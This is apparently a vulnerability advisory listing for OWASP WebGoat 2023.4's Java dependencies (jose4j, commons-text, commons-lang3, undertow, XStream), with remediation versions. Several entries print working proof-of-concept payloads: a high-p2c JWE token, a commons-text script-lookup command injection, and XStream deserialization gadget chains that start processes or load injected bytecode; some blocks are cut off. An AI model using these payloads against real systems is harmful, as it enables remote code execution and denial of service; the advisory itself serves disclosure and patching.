Affected versions of this package are vulnerable to Denial of Service (DoS) via a large `p2c` (PBES2 Count) value. An attacker can cause the application to consume excessive CPU resources by supplying an unusually high PBES2 Count value.

PoC

```
import org.jose4j.jwa.AlgorithmConstraints;
import org.jose4j.jwe.ContentEncryptionAlgorithmIdentifiers;
import org.jose4j.jwe.JsonWebEncryption;
import org.jose4j.jwe.KeyManagementAlgorithmIdentifiers;
import org.jose4j.keys.AesKey;
import org.jose4j.lang.ByteUtil;

import java.security.Key;

public class jwt {
    public static void main(String[] argc)throws Exception{
        Key key = new AesKey(ByteUtil.randomBytes(16));
        JsonWebEncryption jwe = new JsonWebEncryption();
        jwe.setAlgorithmConstraints(new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT,
                KeyManagementAlgorithmIdentifiers.PBES2_HS256_A128KW));
        jwe.setContentEncryptionAlgorithmConstraints(new AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT,
                ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256));
        jwe.setKey(key);
        jwe.setCompactSerialization("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4QOJDLUhTMjU2IiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJ1RWxQUGhJLThGY2h3a1BhIn0=.JOIw8ccIdkor7-ZaHQ
        System.out.println("Payload: " + jwe.getPayload());
```

```
        }
    }
```

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `org.bitbucket.b_c:jose4j` to version 0.9.4 or higher.

References

- Bitbucket Commit
- Bitbucket Issue

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: org.apache.commons:commons-text
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.apache.commons:commons-text@1.9

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.apache.commons:commons-text@1.9

Overview

Affected versions of this package are vulnerable to Arbitrary Code Execution via the `StringSubstitutor` interpolator object. Exploiting this vulnerability is possible when untrusted data flows into the `StringSubstitutor.replace()` or `StringSubstitutor.replaceIn()` methods.

Due to the nature of these methods as ones that process application data and not user input, a remote attacker would need prior access to a system in the affected environment positioned to supply such data.

Notes

The Nashorn scripting engine that can be used to exploit this vulnerability was available by default in JDKs up to 14.0.2. As of JDK 15, this vulnerability can only be exploited if another scripting engine has been added, such as JEXL.

Vulnerable lookups:

1. `script` - executes expressions using the JVM script execution engine (javax.script)
2. `dns` - resolves dns records
3. `url` - loads values from urls, including from remote servers

PoC

```
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        String out = interpolator.replace("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}");
        System.out.println(out);
```

Remediation

Upgrade `org.apache.commons:commons-text` to version 1.10.0 or higher.

References

- Apache Lists
- GitHub Commit
- GitHub PR
- GitHub Release
- Snyk Blog
- Nuclei Templates
- Exploit DB
- PoC in GitHub

More about this vulnerability

HIGH SEVERITY

Uncontrolled Recursion

- Package Manager: maven
- Vulnerable module: org.apache.commons:commons-lang3
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and org.apache.commons:commons-lang3@3.12.0

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.apache.commons:commons-lang3@3.12.0

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion via the `ClassUtils.getClass` function. An attacker can cause the application to terminate unexpectedly by providing excessively long input values.

Remediation

Upgrade `org.apache.commons:commons-lang3` to version 3.18.0 or higher.

References

- Apache Pony Mail
- GitHub Commit

More about this vulnerability

HIGH SEVERITY

Memory Allocation with Excessive Size Value

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Memory Allocation with Excessive Size Value due to improper `@MultipartConfig` annotation handling for very large multipart content.

Note: If the server uses `fileSizeThreshold` to limit the file size, it's possible to bypass the limit by setting the file name in the request to null.

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.27.Final, 2.3.9.Final or higher.

References

- GitHub Commit
- Jira Issue
- RedHat Bugzilla Bug

More about this vulnerability

HIGH SEVERITY

Allocation of Resources Without Limits or Throttling (MadeYouReset)

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling (MadeYouReset) through malformed client requests that trigger repeated server-side stream resets without incrementing abuse counters. An attacker can exhaust server resources by sending specially crafted HTTP/2 requests that cause excessive workload through repeated stream aborts.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.38.Final, 2.3.20.Final or higher.

References

- GitHub Commit
- GitHub Commit
- GitHub Commit
- Red Hat Bugzilla Bug
- Vulnerability Research

More about this vulnerability

HIGH SEVERITY

Improper Certificate Validation

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Improper Certificate Validation via the undertow client which does not check the server identity presented by the server certificate in https connections.

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.24.Final, 2.3.5.Final or higher.

References

- GitHub Commit
- GitHub Commit
- RedHat Bugzilla Bug
- RedHat CVE Database
- RedHat Issues
- Vulnerable Code

More about this vulnerability

HIGH SEVERITY

Improper Input Validation

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Improper Input Validation via the `FormAuthenticationMechanism`. An attacker can exhaust the server's memory, leading to a Denial of Service by sending crafted requests that cause an OutofMemory error.

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.32.Final, 2.3.13.Final or higher.

References

- GitHub Commit
- Vulnerable Code

More about this vulnerability

HIGH SEVERITY

Allocation of Resources Without Limits or Throttling

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling. An attacker can disrupt service availability by repeatedly sending AJP requests that exceed the configured `max-header-size` attribute in `ajp-listener`, leading to the server closing the TCP connection without returning an AJP response.

Note:

This is only exploitable if the `max-header-size` is set to 64 KB or less.

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.31.Final, 2.3.12.Final or higher.

References

- GitHub Commit
- RedHat Bugzilla Bug

More about this vulnerability

HIGH SEVERITY

Uncontrolled Resource Consumption ('Resource Exhaustion')

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') through the handling of URL-encoded request path information on `ajp-listener`. An attacker can cause the server to process incorrect paths, leading to a disruption of service by sending specially crafted concurrent requests.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.33.Final, 2.3.14.Final or higher.

References

- GitHub Commit
- Red Hat Bugzilla Bug

More about this vulnerability

HIGH SEVERITY

Uncontrolled Resource Consumption ('Resource Exhaustion')

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to insufficient limitations on the amount of `CONTINUATION` frames that can be sent within a single stream. An attacker can use up compute or memory resources to cause a disruption in service by sending packets to vulnerable servers.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.33.Final, 2.3.14.Final or higher.

References

- Apache Advisory
- Github Commit
- GitHub Commit
- GitHub Commit
- PoC
- RedHat Bugzilla Bug
- Security Notes

More about this vulnerability

HIGH SEVERITY

Uncontrolled Recursion

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Uncontrolled Recursion in chunked response handling. An attacker can cause a client to wait indefinitely by sending excessive data without a `0¥r¥n` termination sequence in chunked responses, thereby disrupting service to the server.

Note: This is only exploitable when using `NewSessionTicket` functionality in TLS 1.3 on Java 17.

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.34.Final, 2.3.8.Final or higher.

References

- GitHub Commit
- Red Hat Bugzilla Bug
- Red Hat Security Advisory

More about this vulnerability

HIGH SEVERITY

Denial of Service (DoS)

- Package Manager: maven
- Vulnerable module: io.undertow:undertow-core
- Introduced through: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 and others

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

Overview

io.undertow:undertow-core is a Java web server based on non-blocking IO.

Affected versions of this package are vulnerable to Denial of Service (DoS) through the wildfly-http-client protocol, due to the `WriteTimeoutStreamSinkConduit` process. This vulnerability can be exploited by repeatedly opening and closing connections immediately, which triggers memory and file descriptor leaks.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

- High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
- Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm `ws` package

Remediation

Upgrade `io.undertow:undertow-core` to version 2.2.31.Final, 2.3.12.Final or higher.

References

- GitHub Commit
- GitHub Commit
- Red Hat Bugzilla Bug
- Red Hat Issues

More about this vulnerability

HIGH SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that can execute arbitrary shell commands.

This issue is a variation of CVE-2013-7285, this time using a different set of classes of the Java runtime environment, none of which is part of the XStream default blacklist. The same issue has already been reported for Strut's XStream plugin in CVE-2017-9805, but the XStream project has never been informed about it.

PoC

```
<map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                  <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                    <contentType>text/plain</contentType>
                    <is class='java.io.SequenceInputStream'>
                      <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                        <iterator class='javax.imageio.spi.FilterIterator'>
                          <iter class='java.util.ArrayList$Itr'>
                            <cursor>0</cursor>
                            <lastRet>-1</lastRet>
                            <expectedModCount>1</expectedModCount>
                            <outer-class>
                              <java.lang.ProcessBuilder>
                                <command>
                                  <string>calc</string>
                                </command>
                              </java.lang.ProcessBuilder>
                            </outer-class>
                          </iter>
                          <filter class='javax.imageio.ImageIO$ContainsFilter'>
                            <method>
                              <class>java.lang.ProcessBuilder</class>
                              <name>start</name>
                              <parameter-types/>
                            </method>
                            <name>start</name>
                          </filter>
                          <next/>
                        </iterator>
                        <type>KEYS</type>
                      </e>
                      <in class='java.io.ByteArrayInputStream'>
                        <buf></buf>
                        <pos>0</pos>
                        <mark>0</mark>
                        <count>0</count>
                      </in>
                    </is>
                    <consumed>false</consumed>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <string>test</string>
          </entry>
        </map>
```

Note: `1.4.14-jdk7` is optimised for OpenJDK 7, release `1.4.14` are compatible with other JDK projects.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.14 or higher.

References

- GitHub Commit

- PoC
- XStream advisory
- Nuclei Templates

More about this vulnerability

HIGH SEVERITY

Deserialization of Untrusted Data

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. There is vulnerability which may allow a remote attacker to allocate 100% CPU time on the target system depending on CPU type or parallel execution of such a payload resulting in a denial of service only by manipulating the processed input stream.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='javafx.collections.ObservableList$1'/>
            </default>
            <int>3</int>
            <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
              <dataHandler>
                <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
                  <is class='java.io.ByteArrayInputStream'>
                    <buf></buf>
                    <pos>-2147483648</pos>
                    <mark>0</mark>
                    <count>0</count>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
            <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'/>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>
```

Users who follow the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types are not affected.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like *Remote Method Invocation (RMI)*, *Java Management Extension (JMX)*, *Java Messaging System (JMS)*, *Action Message Format (AMF)*, *Java Server Faces (JSF) ViewState*, etc.

Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.

Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.

An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.

> Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.16 or higher.

References

- XStream Advisory
- XStream Changelog
- XStream Workaround

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream, if using the version out of the box with Java runtime version 14 to 8 or with JavaFX installed. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
              <comparator class='com.sun.java.util.jar.pack.PackageWriter$2'>
                <outer-class>
                  <verbose>0</verbose>
                  <effort>0</effort>
                  <optDumpBands>false</optDumpBands>
                  <optDebugBands>false</optDebugBands>
                  <optVaryCodings>false</optVaryCodings>
                  <optBigStrings>false</optBigStrings>
                  <isReader>false</isReader>
                  <bandHeaderBytePos>0</bandHeaderBytePos>
                  <bandHeaderBytePos0>0</bandHeaderBytePos0>
                  <archiveOptions>0</archiveOptions>
                  <archiveSize0>0</archiveSize0>
                  <archiveSize1>0</archiveSize1>
                  <archiveNextCount>0</archiveNextCount>
                  <attrClassFileVersionMask>0</attrClassFileVersionMask>
                  <attrIndexTable class='com.sun.javafx.fxml.BeanAdapter'>
                    <bean class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
                      <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                        <default>
                          <__name>Pwnr</__name>
                          <__bytecodes>
                            <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBaOgk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEADOxpbmVOdW1iZXJUYWJs
                            <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEADOxpbmVOdW1iZXJUYWJs
                          </__bytecodes>
                          <__transletIndex>-1</__transletIndex>
                          <__indentNumber>0</__indentNumber>
                        </default>
                      </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                    </bean>
                    <localCache>
                      <methods>
                        <entry>
                          <string>getOutputProperties</string>
                          <list>
                            <method>
                              <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                              <name>getOutputProperties</name>
                              <parameter-types/>
                            </method>
                          </list>
                        </entry>
                      </methods>
                    </localCache>
                  </attrIndexTable>
                  <shortCodeHeader__h__limit>0</shortCodeHeader__h__limit>
                </outer-class>
              </comparator>
            </default>
            <int>3</int>
            <string-array>
              <string>yxxx</string>
              <string>outputProperties</string>
            </string-array>
            <string-array>
              <string>yxxx</string>
            </string-array>
          </java.util.PriorityQueue>
        </java.util.PriorityQueue>


XStream xstream = new XStream();
        xstream.fromXML(xml);
```

Remediation

Upgrade `com.thoughtworks.xstream:xstream` to version 1.4.18 or higher.

References

- XStream Advisory
- XStream Changelog

More about this vulnerability

HIGH SEVERITY

Arbitrary Code Execution

- Package Manager: maven
- Vulnerable module: com.thoughtworks.xstream:xstream
- Introduced through: org.owasp.webgoat:webgoat@2023.4 and com.thoughtworks.xstream:xstream@1.4.5

Detailed paths

- *Introduced through*: org.owasp.webgoat:webgoat@2023.4 › com.thoughtworks.xstream:xstream@1.4.5

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

```
<java.util.PriorityQueue serialization='custom'>
          <unserializable-parents/>
          <java.util.PriorityQueue>
            <default>
              <size>2</size>
            </default>
            <int>3</int>
            <dynamic-proxy>
              <interface>java.lang.Comparable</interface>
              <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
                <owner/>
                <managedObjectManagerClosed>false</managedObjectManagerClosed>
                <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
                  <stubHandlers>
                    <entry>
                      <method>
                        <class>java.lang.Comparable</class>
                        <name>compareTo</name>
                        <parameter-types>
                          <class>java.lang.Object</class>
                        </parameter-types>
                      </method>
                      <com.sun.xml.internal.ws.client.sei.StubHandler>
                        <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                          <indices>
                            <int>0</int>
                          </indices>
                          <getters>
                            <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                          </getters>
                          <accessors>
                            <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                              <val_-isJAXBElement>false</val_-isJAXBElement>
                              <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                                <type>int</type>
                                <field>
                                  <name>hash</name>
                                  <clazz>java.lang.String</clazz>
                                </field>
                              </val_-getter>
                              <val_-isListType>false</val_-isListType>
                              <val_-n>
                                <namespaceURI/>
                                <localPart>hash</localPart>
                                <prefix/>
                              </val_-n>
                              <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                                <type>java.lang.String</type>
                                <method>
                                  <class>javax.naming.InitialContext</class>
                                  <name>doLookup</name>
                                  <parameter-types>
                                    <class>java.lang.String</class>
                                  </parameter-types>
                                </method>
                              </val_-setter>
                              <outer-class>
                                <propertySetters>
                                  <entry>
                                    <string>serialPersistentFields</string>
                                    <com.sun.xml.internal.ws.spi.db.FieldSetter>
                                      <type>[Ljava.io.ObjectStreamField;</type>
                                      <field>
                                        <name>serialPersistentFields</name>
                                        <clazz>java.lang.String</clazz>
```

```
      </field>
    </com.sun.xml.internal.ws.spi.db.FieldSetter>
  </entry>
  <entry>
    <string>CASE_INSENSITIVE_ORDER</string>
    <com.sun.xml.internal.ws.spi.db.FieldSetter>
      <type>java.util.Comparator</type>
      <field>
        <name>CASE_INSENSITIVE_ORDER</name>
        <clazz>java.lang.String</clazz>
      </field>
    </com.sun.xml.internal.ws.spi.db.FieldSetter>
  </entry>
  <entry>
    <string>serialVersionUID</string>
    <com.sun.xml.internal.ws.spi.db.FieldSetter>
      <type>long</type>
      <field>
        <name>serialVersionUID</name>
        <clazz>java.lang.String</clazz>
      </field>
    </com.sun.xml.internal.ws.spi.db.FieldSetter>
  </entry>
  <entry>
    <string>value</string>
    <com.sun.xml.internal.ws.spi.db.FieldSetter>
      <type>[C</type>
      <field>
        <name>value</name>
        <clazz>java.lang.String</clazz>
      </field>
    </com.sun.xml.internal.ws.spi.db.FieldSetter>
  </entry>
  <entry>
    <string>hash</string>
    <com.sun.xml.internal.ws.spi.db.FieldSetter>
      <type>int</type>
      <field reference='../../../../../val_-getter/field' />
    </com.sun.xml.internal.ws.spi.db.FieldSetter>
  </entry>
</propertySetters>
<propertyGetters>
  <entry>
    <string>serialPersistentFields</string>
